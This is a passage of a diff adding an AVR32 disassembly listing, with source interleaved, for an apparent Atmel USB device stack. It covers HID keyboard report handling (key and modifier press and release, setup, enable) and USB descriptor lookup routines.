+ cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80006c7e: e3 b7 00 00 mtsr 0x0,r7 +#endif + barrier(); +80006c82: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + // Array full + // TODO manage more than UDI_HID_KBD_REPORT_SIZE key pressed in same time + cpu_irq_restore(flags); + return false; +80006c86: 30 28 mov r8,2 + } + // Add key at the end of array + udi_hid_kbd_report[i] = key_id; +80006c88: 48 69 lddpc r9,80006ca0 +80006c8a: f2 08 0b 0c st.b r9[r8],r12 + udi_hid_kbd_b_report_valid = true; +80006c8e: 30 19 mov r9,1 +80006c90: 48 58 lddpc r8,80006ca4 +80006c92: b0 89 st.b r8[0x0],r9 + + // Send report + udi_hid_kbd_send_report(); +80006c94: f0 1f 00 05 mcall 80006ca8 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80006c98: e3 b7 00 00 mtsr 0x0,r7 +#endif + barrier(); +80006c9c: e3 cf 90 80 ldm sp++,r7,pc,r12=1 +80006ca0: 00 00 add r0,r0 +80006ca2: 01 dc ld.ub r12,r0[0x5] +80006ca4: 00 00 add r0,r0 +80006ca6: 01 ce ld.ub lr,r0[0x4] +80006ca8: 80 00 ld.sh r0,r0[0x0] +80006caa: 6b c0 ld.w r0,r5[0x70] + +80006cac : + return true; +} + + +bool udi_hid_kbd_up(uint8_t key_id) +{ +80006cac: eb cd 40 80 pushm r7,lr + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80006cb0: e1 b7 00 00 mfsr r7,0x0 + cpu_irq_disable(); +80006cb4: d3 03 ssrf 0x10 + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { + if (0 == udi_hid_kbd_report[i]) { +80006cb6: 4a 18 lddpc r8,80006d38 +80006cb8: 11 a8 ld.ub r8,r8[0x2] +80006cba: 58 08 cp.w r8,0 +80006cbc: c0 b0 breq 80006cd2 + // Already removed + cpu_irq_restore(flags); + return true; + } + if (key_id == udi_hid_kbd_report[i]) +80006cbe: f8 08 18 00 cp.b r8,r12 +80006cc2: c2 20 breq 80006d06 +80006cc4: 49 d9 lddpc r9,80006d38 +80006cc6: 2f d9 sub r9,-3 +80006cc8: 30 38 mov r8,3 + uint8_t i; + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { +80006cca: 30 8b mov r11,8 + if (0 == udi_hid_kbd_report[i]) { +80006ccc: 13 8a ld.ub r10,r9[0x0] +80006cce: 58 0a cp.w r10,0 +80006cd0: c0 41 brne 80006cd8 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80006cd2: e3 b7 00 00 mtsr 0x0,r7 + // Already removed + cpu_irq_restore(flags); + return true; +80006cd6: c2 f8 rjmp 80006d34 + } + if (key_id == udi_hid_kbd_report[i]) +80006cd8: f8 0a 18 00 cp.b r10,r12 +80006cdc: c0 80 breq 80006cec + uint8_t i; + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { +80006cde: 2f f8 sub r8,-1 +80006ce0: 5c 58 castu.b r8 +80006ce2: 2f f9 sub r9,-1 +80006ce4: f6 08 18 00 cp.b r8,r11 +80006ce8: cf 21 brne 80006ccc +80006cea: c0 b8 rjmp 80006d00 + return true; + } + if (key_id == udi_hid_kbd_report[i]) + break; + } + if (UDI_HID_KBD_REPORT_SIZE == i) { +80006cec: 30 89 mov r9,8 +80006cee: f2 08 18 00 cp.b r8,r9 +80006cf2: c0 70 breq 80006d00 + // Already removed + cpu_irq_restore(flags); + return true; + } + // Remove key and shift + while (i < (UDI_HID_KBD_REPORT_SIZE - 1)) { +80006cf4: 30 69 mov r9,6 +80006cf6: f2 08 18 00 cp.b r8,r9 +80006cfa: e0 88 00 07 brls 80006d08 +80006cfe: c1 18 rjmp 80006d20 +80006d00: e3 b7 00 00 mtsr 0x0,r7 + break; + } + if (UDI_HID_KBD_REPORT_SIZE == i) { + // Already removed + cpu_irq_restore(flags); + return true; +80006d04: c1 88 rjmp 80006d34 +80006d06: 30 28 mov r8,2 + } + // Remove key and shift + while (i < (UDI_HID_KBD_REPORT_SIZE - 1)) { + udi_hid_kbd_report[i] = udi_hid_kbd_report[i + 1]; +80006d08: 48 c9 lddpc r9,80006d38 + // Already removed + cpu_irq_restore(flags); + return true; + } + // Remove key and shift + while (i < (UDI_HID_KBD_REPORT_SIZE - 1)) { +80006d0a: 30 7b mov r11,7 + udi_hid_kbd_report[i] = udi_hid_kbd_report[i + 1]; +80006d0c: f2 08 00 0a add r10,r9,r8 +80006d10: 15 9a ld.ub r10,r10[0x1] +80006d12: f2 08 0b 0a st.b r9[r8],r10 + i++; +80006d16: 2f f8 sub r8,-1 +80006d18: 5c 58 castu.b r8 + // Already removed + cpu_irq_restore(flags); + return true; + } + // Remove key and shift + while (i < (UDI_HID_KBD_REPORT_SIZE - 1)) { +80006d1a: f6 08 18 00 cp.b r8,r11 +80006d1e: cf 71 brne 80006d0c + udi_hid_kbd_report[i] = udi_hid_kbd_report[i + 1]; + i++; + } + udi_hid_kbd_report[UDI_HID_KBD_REPORT_SIZE - 1] = 0x00; +80006d20: 30 09 mov r9,0 +80006d22: 48 68 lddpc r8,80006d38 +80006d24: b0 f9 st.b r8[0x7],r9 + udi_hid_kbd_b_report_valid = true; +80006d26: 30 19 mov r9,1 +80006d28: 48 58 lddpc r8,80006d3c +80006d2a: b0 89 st.b r8[0x0],r9 + + // Send report + udi_hid_kbd_send_report(); +80006d2c: f0 1f 00 05 mcall 80006d40 +80006d30: e3 b7 00 00 mtsr 0x0,r7 + + cpu_irq_restore(flags); + return true; +} +80006d34: e3 cf 90 80 ldm sp++,r7,pc,r12=1 +80006d38: 00 00 add r0,r0 +80006d3a: 01 dc ld.ub r12,r0[0x5] +80006d3c: 00 00 add r0,r0 +80006d3e: 01 ce ld.ub lr,r0[0x4] +80006d40: 80 00 ld.sh r0,r0[0x0] +80006d42: 6b c0 ld.w r0,r5[0x70] + +80006d44 : + return true; +} + + +bool udi_hid_kbd_modifier_down(uint8_t modifier_id) +{ +80006d44: eb cd 40 80 pushm r7,lr + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80006d48: e1 b7 00 00 mfsr r7,0x0 + cpu_irq_disable(); +80006d4c: d3 03 ssrf 0x10 + irqflags_t flags = cpu_irq_save(); + + // Fill report + udi_hid_kbd_report[0] |= modifier_id; +80006d4e: 48 78 lddpc r8,80006d68 +80006d50: 11 89 ld.ub r9,r8[0x0] +80006d52: 12 4c or r12,r9 +80006d54: b0 8c st.b r8[0x0],r12 + udi_hid_kbd_b_report_valid = true; +80006d56: 30 19 mov r9,1 +80006d58: 48 58 lddpc r8,80006d6c +80006d5a: b0 89 st.b r8[0x0],r9 + + // Send report + udi_hid_kbd_send_report(); +80006d5c: f0 1f 00 05 mcall 80006d70 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80006d60: e3 b7 00 00 mtsr 0x0,r7 + + cpu_irq_restore(flags); + return true; +} +80006d64: e3 cf 90 80 ldm sp++,r7,pc,r12=1 +80006d68: 00 00 add r0,r0 +80006d6a: 01 dc ld.ub r12,r0[0x5] +80006d6c: 00 00 add r0,r0 +80006d6e: 01 ce ld.ub lr,r0[0x4] +80006d70: 80 00 ld.sh r0,r0[0x0] +80006d72: 6b c0 ld.w r0,r5[0x70] + +80006d74 : + +//-------------------------------------------- +//------ Interface for application + +bool udi_hid_kbd_modifier_up(uint8_t modifier_id) +{ +80006d74: eb cd 40 80 pushm r7,lr + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80006d78: e1 b7 00 00 mfsr r7,0x0 + cpu_irq_disable(); +80006d7c: d3 03 ssrf 0x10 + irqflags_t flags = cpu_irq_save(); + + // Fill report + udi_hid_kbd_report[0] &= ~modifier_id; +80006d7e: 48 88 lddpc r8,80006d9c +80006d80: 5c dc com r12 +80006d82: 11 89 ld.ub r9,r8[0x0] +80006d84: 12 6c and r12,r9 +80006d86: b0 8c st.b r8[0x0],r12 + udi_hid_kbd_b_report_valid = true; +80006d88: 30 19 mov r9,1 +80006d8a: 48 68 lddpc r8,80006da0 +80006d8c: b0 89 st.b r8[0x0],r9 + + // Send report + udi_hid_kbd_send_report(); +80006d8e: f0 1f 00 06 mcall 80006da4 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80006d92: e3 b7 00 00 mtsr 0x0,r7 + + cpu_irq_restore(flags); + return true; +} +80006d96: e3 cf 90 80 ldm sp++,r7,pc,r12=1 +80006d9a: 00 00 add r0,r0 +80006d9c: 00 00 add r0,r0 +80006d9e: 01 dc ld.ub r12,r0[0x5] +80006da0: 00 00 add r0,r0 +80006da2: 01 ce ld.ub lr,r0[0x4] +80006da4: 80 00 ld.sh r0,r0[0x0] +80006da6: 6b c0 ld.w r0,r5[0x70] + +80006da8 : + UDI_HID_KBD_DISABLE_EXT(); +} + + +bool udi_hid_kbd_setup(void) +{ +80006da8: d4 01 pushm lr + return udi_hid_setup(&udi_hid_kbd_rate, +80006daa: 48 49 lddpc r9,80006db8 +80006dac: 48 4a lddpc r10,80006dbc +80006dae: 48 5b lddpc r11,80006dc0 +80006db0: 48 5c lddpc r12,80006dc4 +80006db2: f0 1f 00 06 mcall 80006dc8 + &udi_hid_kbd_protocol, + (uint8_t *) &udi_hid_kbd_report_desc, + udi_hid_kbd_setreport); +} +80006db6: d8 02 popm pc +80006db8: 80 00 ld.sh r0,r0[0x0] +80006dba: 6b 80 ld.w r0,r5[0x60] +80006dbc: 00 00 add r0,r0 +80006dbe: 00 0d add sp,r0 +80006dc0: 00 00 add r0,r0 +80006dc2: 01 d8 ld.ub r8,r0[0x5] +80006dc4: 00 00 add r0,r0 +80006dc6: 01 e4 ld.ub r4,r0[0x6] +80006dc8: 80 00 ld.sh r0,r0[0x0] +80006dca: 6e 28 ld.w r8,r7[0x8] + +80006dcc : + udi_hid_kbd_send_report(); + } +} + +static void udi_hid_kbd_setreport_valid(void) +{ +80006dcc: d4 01 pushm lr + UDI_HID_KBD_CHANGE_LED(udi_hid_kbd_report_set); +80006dce: 48 38 lddpc r8,80006dd8 +80006dd0: 11 8c ld.ub r12,r8[0x0] +80006dd2: f0 1f 00 03 mcall 80006ddc +} +80006dd6: d8 02 popm pc +80006dd8: 00 00 add r0,r0 +80006dda: 01 d9 ld.ub r9,r0[0x5] +80006ddc: 80 00 ld.sh r0,r0[0x0] +80006dde: 76 68 ld.w r8,r11[0x18] + +80006de0 : + return UDI_HID_KBD_ENABLE_EXT(); +} + + +void udi_hid_kbd_disable(void) +{ +80006de0: d4 01 pushm lr + UDI_HID_KBD_DISABLE_EXT(); +80006de2: f0 1f 00 02 mcall 80006de8 +} +80006de6: d8 02 popm pc +80006de8: 80 00 ld.sh r0,r0[0x0] +80006dea: 76 64 ld.w r4,r11[0x18] + +80006dec : + +//-------------------------------------------- +//------ Interface for UDI HID level + +bool udi_hid_kbd_enable(void) +{ +80006dec: d4 01 pushm lr + // Initialize internal values + udi_hid_kbd_rate = 0; +80006dee: 30 08 mov r8,0 +80006df0: 48 89 lddpc r9,80006e10 +80006df2: b2 88 st.b r9[0x0],r8 + udi_hid_kbd_protocol = 0; +80006df4: 48 89 lddpc r9,80006e14 +80006df6: b2 88 st.b r9[0x0],r8 + udi_hid_kbd_b_report_trans_ongoing = false; +80006df8: 48 89 lddpc r9,80006e18 +80006dfa: b2 88 st.b r9[0x0],r8 + memset(udi_hid_kbd_report, 0, UDI_HID_KBD_REPORT_SIZE); +80006dfc: 30 0a mov r10,0 +80006dfe: 30 0b mov r11,0 +80006e00: 48 79 lddpc r9,80006e1c +80006e02: f2 eb 00 00 st.d r9[0],r10 + udi_hid_kbd_b_report_valid = false; +80006e06: 48 79 lddpc r9,80006e20 +80006e08: b2 88 st.b r9[0x0],r8 + return UDI_HID_KBD_ENABLE_EXT(); +80006e0a: f0 1f 00 07 mcall 80006e24 +} +80006e0e: d8 02 popm pc +80006e10: 00 00 add r0,r0 +80006e12: 01 e4 ld.ub r4,r0[0x6] +80006e14: 00 00 add r0,r0 +80006e16: 01 d8 ld.ub r8,r0[0x5] +80006e18: 00 00 add r0,r0 +80006e1a: 01 cf ld.ub pc,r0[0x4] +80006e1c: 00 00 add r0,r0 +80006e1e: 01 dc ld.ub r12,r0[0x5] +80006e20: 00 00 add r0,r0 +80006e22: 01 ce ld.ub lr,r0[0x4] +80006e24: 80 00 ld.sh r0,r0[0x0] +80006e26: 76 62 ld.w r2,r11[0x18] + +80006e28 : +static bool udi_hid_reqstdifaceget_descriptor(uint8_t *report_desc); + +//@} + +bool udi_hid_setup( uint8_t *rate, uint8_t *protocol, uint8_t *report_desc, bool (*set_report)(void) ) +{ +80006e28: eb cd 40 80 pushm r7,lr +80006e2c: 14 97 mov r7,r10 + if (Udd_setup_is_in()) { +80006e2e: 4c 08 lddpc r8,80006f2c +80006e30: 11 88 ld.ub r8,r8[0x0] +80006e32: 30 0a mov r10,0 +80006e34: f4 08 18 00 cp.b r8,r10 +80006e38: c5 04 brge 80006ed8 + // Requests Interface GET + if (Udd_setup_type() == USB_REQ_TYPE_STANDARD) { +80006e3a: e2 18 00 60 andl r8,0x60,COH +80006e3e: c3 31 brne 80006ea4 + // Requests Standard Interface Get + switch (udd_g_ctrlreq.req.bRequest) { +80006e40: 4b b9 lddpc r9,80006f2c +80006e42: 13 9a ld.ub r10,r9[0x1] +80006e44: 30 69 mov r9,6 +80006e46: f2 0a 18 00 cp.b r10,r9 +80006e4a: c2 d1 brne 80006ea4 +{ + usb_hid_descriptor_t UDC_DESC_STORAGE *ptr_hid_desc; + + // Get the USB descriptor which is located after the interface descriptor + // This descriptor must be the HID descriptor + ptr_hid_desc = (usb_hid_descriptor_t UDC_DESC_STORAGE *) ((uint8_t *) +80006e4c: f0 1f 00 39 mcall 80006f30 +80006e50: 2f 7c sub r12,-9 + udc_get_interface_desc() + sizeof(usb_iface_desc_t)); + if (USB_DT_HID != ptr_hid_desc->bDescriptorType) +80006e52: 19 99 ld.ub r9,r12[0x1] +80006e54: 32 18 mov r8,33 +80006e56: f0 09 18 00 cp.b r9,r8 +80006e5a: c2 31 brne 80006ea0 + + // The SETUP request can ask for: + // - an USB_DT_HID descriptor + // - or USB_DT_HID_REPORT descriptor + // - or USB_DT_HID_PHYSICAL descriptor + if (USB_DT_HID == (uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { +80006e5c: 4b 48 lddpc r8,80006f2c +80006e5e: 11 a8 ld.ub r8,r8[0x2] +80006e60: 32 19 mov r9,33 +80006e62: f2 08 18 00 cp.b r8,r9 +80006e66: c0 a1 brne 80006e7a + // USB_DT_HID descriptor requested then send it + udd_g_ctrlreq.payload = (uint8_t *) ptr_hid_desc; +80006e68: 4b 18 lddpc r8,80006f2c +80006e6a: 91 2c st.w r8[0x8],r12 + udd_g_ctrlreq.payload_size = + min(udd_g_ctrlreq.req.wLength, +80006e6c: 90 b9 ld.uh r9,r8[0x6] +80006e6e: 19 8a ld.ub r10,r12[0x0] +80006e70: f2 0a 0d 49 min r9,r9,r10 + // - or USB_DT_HID_REPORT descriptor + // - or USB_DT_HID_PHYSICAL descriptor + if (USB_DT_HID == (uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + // USB_DT_HID descriptor requested then send it + udd_g_ctrlreq.payload = (uint8_t *) ptr_hid_desc; + udd_g_ctrlreq.payload_size = +80006e74: b0 69 st.h r8[0xc],r9 +80006e76: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + ptr_hid_desc->bLength); + return true; + } + // The HID_X descriptor requested must correspond to report type + // included in the HID descriptor + if (ptr_hid_desc->bRDescriptorType == +80006e7a: 19 e9 ld.ub r9,r12[0x6] +80006e7c: f0 09 18 00 cp.b r9,r8 +80006e80: c1 01 brne 80006ea0 + (uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + // Send HID Report descriptor given by high level + udd_g_ctrlreq.payload = report_desc; +80006e82: 4a b8 lddpc r8,80006f2c +80006e84: 91 27 st.w r8[0x8],r7 + udd_g_ctrlreq.payload_size = + min(udd_g_ctrlreq.req.wLength, +80006e86: 90 ba ld.uh r10,r8[0x6] +80006e88: 19 fb ld.ub r11,r12[0x7] +80006e8a: f9 39 00 08 ld.ub r9,r12[8] +80006e8e: f3 eb 10 89 or r9,r9,r11<<0x8 +80006e92: 5c c9 swap.bh r9 +80006e94: 5c 79 castu.h r9 +80006e96: f4 09 0d 49 min r9,r10,r9 + // included in the HID descriptor + if (ptr_hid_desc->bRDescriptorType == + (uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + // Send HID Report descriptor given by high level + udd_g_ctrlreq.payload = report_desc; + udd_g_ctrlreq.payload_size = +80006e9a: b0 69 st.h r8[0xc],r9 +80006e9c: e3 cf 90 80 ldm sp++,r7,pc,r12=1 +80006ea0: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + + case USB_REQ_GET_DESCRIPTOR: + return udi_hid_reqstdifaceget_descriptor(report_desc); + } + } + if (Udd_setup_type() == USB_REQ_TYPE_CLASS) { +80006ea4: e0 48 00 20 cp.w r8,32 +80006ea8: c4 01 brne 80006f28 + // Requests Class Interface Get + switch (udd_g_ctrlreq.req.bRequest) { +80006eaa: 4a 18 lddpc r8,80006f2c +80006eac: 11 98 ld.ub r8,r8[0x1] +80006eae: 30 29 mov r9,2 +80006eb0: f2 08 18 00 cp.b r8,r9 +80006eb4: c0 60 breq 80006ec0 +80006eb6: 30 39 mov r9,3 +80006eb8: f2 08 18 00 cp.b r8,r9 +80006ebc: c3 61 brne 80006f28 +80006ebe: c0 78 rjmp 80006ecc + case USB_REQ_HID_GET_REPORT: + // TODO + break; + + case USB_REQ_HID_GET_IDLE: + udd_g_ctrlreq.payload = rate; +80006ec0: 49 b8 lddpc r8,80006f2c +80006ec2: 91 2c st.w r8[0x8],r12 + udd_g_ctrlreq.payload_size = 1; +80006ec4: 30 19 mov r9,1 +80006ec6: b0 69 st.h r8[0xc],r9 +80006ec8: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + return true; + + case USB_REQ_HID_GET_PROTOCOL: + udd_g_ctrlreq.payload = protocol; +80006ecc: 49 88 lddpc r8,80006f2c +80006ece: 91 2b st.w r8[0x8],r11 + udd_g_ctrlreq.payload_size = 1; +80006ed0: 30 19 mov r9,1 +80006ed2: b0 69 st.h r8[0xc],r9 +80006ed4: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + } + } + } + if (Udd_setup_is_out()) { + // Requests Interface SET + if (Udd_setup_type() == USB_REQ_TYPE_CLASS) { +80006ed8: e2 18 00 60 andl r8,0x60,COH +80006edc: e0 48 00 20 cp.w r8,32 +80006ee0: c2 41 brne 80006f28 + // Requests Class Interface Set + switch (udd_g_ctrlreq.req.bRequest) { +80006ee2: 49 38 lddpc r8,80006f2c +80006ee4: 11 98 ld.ub r8,r8[0x1] +80006ee6: 30 9a mov r10,9 +80006ee8: f4 08 18 00 cp.b r8,r10 +80006eec: c0 b0 breq 80006f02 +80006eee: c1 d3 brcs 80006f28 +80006ef0: 30 a9 mov r9,10 +80006ef2: f2 08 18 00 cp.b r8,r9 +80006ef6: c0 90 breq 80006f08 +80006ef8: 30 b9 mov r9,11 +80006efa: f2 08 18 00 cp.b r8,r9 +80006efe: c1 51 brne 80006f28 +80006f00: c0 98 rjmp 80006f12 + + case USB_REQ_HID_SET_REPORT: + return set_report(); +80006f02: 5d 19 icall r9 +80006f04: e3 cd 80 80 ldm sp++,r7,pc + + case USB_REQ_HID_SET_IDLE: + *rate = udd_g_ctrlreq.req.wValue >> 8; +80006f08: 48 98 lddpc r8,80006f2c +80006f0a: 11 a8 ld.ub r8,r8[0x2] +80006f0c: b8 88 st.b r12[0x0],r8 +80006f0e: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + return true; + + case USB_REQ_HID_SET_PROTOCOL: + if (0 != udd_g_ctrlreq.req.wLength) +80006f12: 48 78 lddpc r8,80006f2c +80006f14: 90 39 ld.sh r9,r8[0x6] +80006f16: 30 08 mov r8,0 +80006f18: f0 09 19 00 cp.h r9,r8 +80006f1c: c0 61 brne 80006f28 + return false; + *protocol = udd_g_ctrlreq.req.wValue; +80006f1e: 48 48 lddpc r8,80006f2c +80006f20: 90 18 ld.sh r8,r8[0x2] +80006f22: b6 88 st.b r11[0x0],r8 +80006f24: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + return true; +80006f28: e3 cf 80 80 ldm sp++,r7,pc,r12=0 +80006f2c: 00 00 add r0,r0 +80006f2e: 04 28 rsub r8,r2 +80006f30: 80 00 ld.sh r0,r0[0x0] +80006f32: 6f 34 ld.w r4,r7[0x4c] + +80006f34 : + + +usb_iface_desc_t UDC_DESC_STORAGE *udc_get_interface_desc(void) +{ + return udc_ptr_iface; +} +80006f34: 48 28 lddpc r8,80006f3c +80006f36: 70 0c ld.w r12,r8[0x0] +80006f38: 5e fc retal r12 +80006f3a: 00 00 add r0,r0 +80006f3c: 00 00 add r0,r0 +80006f3e: 01 f4 ld.ub r4,r0[0x7] + +80006f40 : + */ +static usb_conf_desc_t UDC_DESC_STORAGE *udc_get_eof_conf(void) +{ + return (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) + udc_ptr_conf->desc + + le16_to_cpu(udc_ptr_conf->desc->wTotalLength)); +80006f40: 48 78 lddpc r8,80006f5c +80006f42: 70 08 ld.w r8,r8[0x0] +80006f44: 70 08 ld.w r8,r8[0x0] +80006f46: 11 aa ld.ub r10,r8[0x2] +80006f48: 11 b9 ld.ub r9,r8[0x3] +80006f4a: f3 ea 10 89 or r9,r9,r10<<0x8 +80006f4e: 5c c9 swap.bh r9 +80006f50: f9 d9 c0 10 bfextu r12,r9,0x0,0x10 +} +80006f54: f0 0c 00 0c add r12,r8,r12 +80006f58: 5e fc retal r12 +80006f5a: 00 00 add r0,r0 +80006f5c: 00 00 add r0,r0 +80006f5e: 01 e8 ld.ub r8,r0[0x6] + +80006f60 : + * \param setting_num Setting number of interface to find + * + * \return 1 if found or 0 if not found + */ +static bool udc_update_iface_desc(uint8_t iface_num, uint8_t setting_num) +{ +80006f60: eb cd 40 e0 pushm r5-r7,lr +80006f64: 18 97 mov r7,r12 +80006f66: 16 96 mov r6,r11 + usb_conf_desc_t UDC_DESC_STORAGE *ptr_end_desc; + + if (0 == udc_num_configuration) +80006f68: 49 b8 lddpc r8,80006fd4 +80006f6a: 11 89 ld.ub r9,r8[0x0] +80006f6c: 30 08 mov r8,0 +80006f6e: f0 09 18 00 cp.b r9,r8 +80006f72: c2 f0 breq 80006fd0 + return false; + + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) +80006f74: 49 98 lddpc r8,80006fd8 +80006f76: 70 08 ld.w r8,r8[0x0] +80006f78: 70 08 ld.w r8,r8[0x0] +80006f7a: 11 c9 ld.ub r9,r8[0x4] +80006f7c: 18 9e mov lr,r12 +80006f7e: f8 09 18 00 cp.b r9,r12 +80006f82: e0 88 00 27 brls 80006fd0 + return false; + + // Start at the beginning of configuration descriptor + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) +80006f86: 49 65 lddpc r5,80006fdc +80006f88: 8b 08 st.w r5[0x0],r8 + udc_ptr_conf->desc; + + // Check the end of configuration descriptor + ptr_end_desc = udc_get_eof_conf(); +80006f8a: f0 1f 00 16 mcall 80006fe0 + while (ptr_end_desc > +80006f8e: 6a 08 ld.w r8,r5[0x0] +80006f90: 10 3c cp.w r12,r8 +80006f92: e0 88 00 1f brls 80006fd0 + (UDC_DESC_STORAGE usb_conf_desc_t *) udc_ptr_iface) { + if (USB_DT_INTERFACE == udc_ptr_iface->bDescriptorType) { +80006f96: 30 4b mov r11,4 + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) + udc_ptr_conf->desc; + + // Check the end of configuration descriptor + ptr_end_desc = udc_get_eof_conf(); + while (ptr_end_desc > +80006f98: 10 99 mov r9,r8 + (UDC_DESC_STORAGE usb_conf_desc_t *) udc_ptr_iface) { + if (USB_DT_INTERFACE == udc_ptr_iface->bDescriptorType) { +80006f9a: 11 9a ld.ub r10,r8[0x1] +80006f9c: f6 0a 18 00 cp.b r10,r11 +80006fa0: c0 a1 brne 80006fb4 + // A interface descriptor is found + // Check interface and alternate setting number + if ((iface_num == udc_ptr_iface->bInterfaceNumber) +80006fa2: 11 aa ld.ub r10,r8[0x2] +80006fa4: 0e 9e mov lr,r7 +80006fa6: ee 0a 18 00 cp.b r10,r7 +80006faa: c0 51 brne 80006fb4 + && (setting_num == + udc_ptr_iface-> +80006fac: 11 ba ld.ub r10,r8[0x3] +80006fae: ec 0a 18 00 cp.b r10,r6 +80006fb2: c0 b0 breq 80006fc8 + bAlternateSetting)) + return true; // Interface found + } + // Go to next descriptor + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) ((uint8_t +80006fb4: 13 88 ld.ub r8,r9[0x0] +80006fb6: f2 08 00 08 add r8,r9,r8 + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) + udc_ptr_conf->desc; + + // Check the end of configuration descriptor + ptr_end_desc = udc_get_eof_conf(); + while (ptr_end_desc > +80006fba: 10 3c cp.w r12,r8 +80006fbc: fe 9b ff ee brhi 80006f98 +80006fc0: 48 79 lddpc r9,80006fdc +80006fc2: 93 08 st.w r9[0x0],r8 +80006fc4: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 +80006fc8: 48 59 lddpc r9,80006fdc +80006fca: 93 08 st.w r9[0x0],r8 +80006fcc: e3 cf 90 e0 ldm sp++,r5-r7,pc,r12=1 +80006fd0: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 +80006fd4: 00 00 add r0,r0 +80006fd6: 01 f2 ld.ub r2,r0[0x7] +80006fd8: 00 00 add r0,r0 +80006fda: 01 e8 ld.ub r8,r0[0x6] +80006fdc: 00 00 add r0,r0 +80006fde: 01 f4 ld.ub r4,r0[0x7] +80006fe0: 80 00 ld.sh r0,r0[0x0] +80006fe2: 6f 40 ld.w r0,r7[0x50] + +80006fe4 : + * \return address of specific descriptor found + * \return NULL if it is the end of global interface descriptor + */ +static usb_conf_desc_t UDC_DESC_STORAGE *udc_next_desc_in_iface(usb_conf_desc_t + UDC_DESC_STORAGE * desc, uint8_t desc_id) +{ +80006fe4: eb cd 40 c0 pushm r6-r7,lr +80006fe8: 18 96 mov r6,r12 +80006fea: 16 97 mov r7,r11 + usb_conf_desc_t UDC_DESC_STORAGE *ptr_eof_desc; + + ptr_eof_desc = udc_get_eof_conf(); +80006fec: f0 1f 00 11 mcall 80007030 + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + +80006ff0: 0d 88 ld.ub r8,r6[0x0] +80006ff2: 10 06 add r6,r8 + desc->bLength); + // Check the end of configuration descriptor + while (ptr_eof_desc > desc) { +80006ff4: 0c 3c cp.w r12,r6 +80006ff6: e0 88 00 19 brls 80007028 + // If new interface descriptor is found, + // then it is the end of the current global interface descriptor + if (USB_DT_INTERFACE == desc->bDescriptorType) +80006ffa: 0d 98 ld.ub r8,r6[0x1] +80006ffc: 30 49 mov r9,4 +80006ffe: f2 08 18 00 cp.b r8,r9 +80007002: c1 30 breq 80007028 + break; // End of global interface descriptor + if (desc_id == desc->bDescriptorType) +80007004: ee 08 18 00 cp.b r8,r7 +80007008: c0 a1 brne 8000701c +8000700a: c1 08 rjmp 8000702a + desc->bLength); + // Check the end of configuration descriptor + while (ptr_eof_desc > desc) { + // If new interface descriptor is found, + // then it is the end of the current global interface descriptor + if (USB_DT_INTERFACE == desc->bDescriptorType) +8000700c: 0d 98 ld.ub r8,r6[0x1] +8000700e: f2 08 18 00 cp.b r8,r9 +80007012: c0 b0 breq 80007028 + break; // End of global interface descriptor + if (desc_id == desc->bDescriptorType) +80007014: ee 08 18 00 cp.b r8,r7 +80007018: c0 31 brne 8000701e +8000701a: c0 88 rjmp 8000702a + desc->bLength); + // Check the end of configuration descriptor + while (ptr_eof_desc > desc) { + // If new interface descriptor is found, + // then it is the end of the current global interface descriptor + if (USB_DT_INTERFACE == desc->bDescriptorType) +8000701c: 30 49 mov r9,4 + break; // End of global interface descriptor + if (desc_id == desc->bDescriptorType) + return desc; // Specific descriptor found + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + +8000701e: 0d 88 ld.ub r8,r6[0x0] +80007020: 10 06 add r6,r8 + ptr_eof_desc = udc_get_eof_conf(); + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + + desc->bLength); + // Check the end of configuration descriptor + while (ptr_eof_desc > desc) { +80007022: 0c 3c cp.w r12,r6 +80007024: fe 9b ff f4 brhi 8000700c +80007028: 30 06 mov r6,0 + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + + desc->bLength); + } + return NULL; // No specific descriptor found +} +8000702a: 0c 